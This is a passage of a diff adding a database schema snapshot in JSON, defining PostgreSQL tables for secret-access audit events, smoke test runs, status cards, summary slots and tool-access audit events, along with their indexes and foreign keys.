+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "secret_access_events_company_created_idx": {
+          "name": "secret_access_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_secret_created_idx": {
+          "name": "secret_access_events_secret_created_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_user_definition_created_idx": {
+          "name": "secret_access_events_user_definition_created_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_company_credential_owner_idx": {
+          "name": "secret_access_events_company_credential_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "credential_owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_consumer_idx": {
+          "name": "secret_access_events_consumer_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_run_idx": {
+          "name": "secret_access_events_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "secret_access_events_company_id_companies_id_fk": {
+          "name": "secret_access_events_company_id_companies_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_secret_id_company_secrets_id_fk": {
+          "name": "secret_access_events_secret_id_company_secrets_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_issue_id_issues_id_fk": {
+          "name": "secret_access_events_issue_id_issues_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_plugin_id_plugins_id_fk": {
+          "name": "secret_access_events_plugin_id_plugins_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_run_steps": {
+      "name": "smoke_run_steps",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scenario_step": {
+          "name": "scenario_step",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "detail": {
+          "name": "detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "screenshot_artifact_ref": {
+          "name": "screenshot_artifact_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_run_steps_company_run_idx": {
+          "name": "smoke_run_steps_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_run_steps_company_path_idx": {
+          "name": "smoke_run_steps_company_path_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_run_steps_company_id_companies_id_fk": {
+          "name": "smoke_run_steps_company_id_companies_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "smoke_run_steps_run_id_smoke_runs_id_fk": {
+          "name": "smoke_run_steps_run_id_smoke_runs_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "smoke_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_runs": {
+      "name": "smoke_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_runs_company_started_idx": {
+          "name": "smoke_runs_company_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_runs_company_status_idx": {
+          "name": "smoke_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_runs_company_id_companies_id_fk": {
+          "name": "smoke_runs_company_id_companies_id_fk",
+          "tableFrom": "smoke_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_card_updates": {
+      "name": "status_card_updates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "card_id": {
+          "name": "card_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "generation_issue_id": {
+          "name": "generation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changes": {
+          "name": "changes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "status_card_updates_card_started_idx": {
+          "name": "status_card_updates_card_started_idx",
+          "columns": [
+            {
+              "expression": "card_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_card_updates_generation_issue_idx": {
+          "name": "status_card_updates_generation_issue_idx",
+          "columns": [
+            {
+              "expression": "generation_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_card_updates_card_id_status_cards_id_fk": {
+          "name": "status_card_updates_card_id_status_cards_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "status_cards",
+          "columnsFrom": [
+            "card_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_generation_issue_id_issues_id_fk": {
+          "name": "status_card_updates_generation_issue_id_issues_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_run_id_heartbeat_runs_id_fk": {
+          "name": "status_card_updates_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_cards": {
+      "name": "status_cards",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title_pinned": {
+          "name": "title_pinned",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interest_prompt": {
+          "name": "interest_prompt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queries": {
+          "name": "queries",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "query_compiled_at": {
+          "name": "query_compiled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_compiled_by_agent_id": {
+          "name": "query_compiled_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_policy": {
+          "name": "refresh_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compiling'"
+        },
+        "pending_change_count": {
+          "name": "pending_change_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pending_change_hash": {
+          "name": "pending_change_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_change_at": {
+          "name": "last_change_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint_at": {
+          "name": "fingerprint_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mentioned_issue_ids": {
+          "name": "mentioned_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_update_run_kind": {
+          "name": "last_update_run_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_eval_at": {
+          "name": "next_eval_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "status_cards_company_archived_idx": {
+          "name": "status_cards_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_cards_company_next_eval_idx": {
+          "name": "status_cards_company_next_eval_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_eval_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_cards_company_id_companies_id_fk": {
+          "name": "status_cards_company_id_companies_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_cards_created_by_agent_id_agents_id_fk": {
+          "name": "status_cards_created_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_query_compiled_by_agent_id_agents_id_fk": {
+          "name": "status_cards_query_compiled_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "query_compiled_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_agent_id_agents_id_fk": {
+          "name": "status_cards_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_document_id_documents_id_fk": {
+          "name": "status_cards_document_id_documents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_generating_issue_id_issues_id_fk": {
+          "name": "status_cards_generating_issue_id_issues_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_archived_by_agent_id_agents_id_fk": {
+          "name": "status_cards_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.summary_slots": {
+      "name": "summary_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_by_agent_id": {
+          "name": "last_generated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "summary_slots_document_uq": {
+          "name": "summary_slots_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_scope_idx": {
+          "name": "summary_slots_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_generating_issue_idx": {
+          "name": "summary_slots_company_generating_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "generating_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_updated_idx": {
+          "name": "summary_slots_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "summary_slots_company_id_companies_id_fk": {
+          "name": "summary_slots_company_id_companies_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "summary_slots_document_id_documents_id_fk": {
+          "name": "summary_slots_document_id_documents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_generating_issue_id_issues_id_fk": {
+          "name": "summary_slots_generating_issue_id_issues_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_last_generated_by_agent_id_agents_id_fk": {
+          "name": "summary_slots_last_generated_by_agent_id_agents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "last_generated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "summary_slots_company_scope_slot_uq": {
+          "name": "summary_slots_company_scope_slot_uq",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "scope_kind",
+            "scope_id",
+            "slot_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_access_audit_events": {
+      "name": "tool_access_audit_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_access_audit_company_created_idx": {
+          "name": "tool_access_audit_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
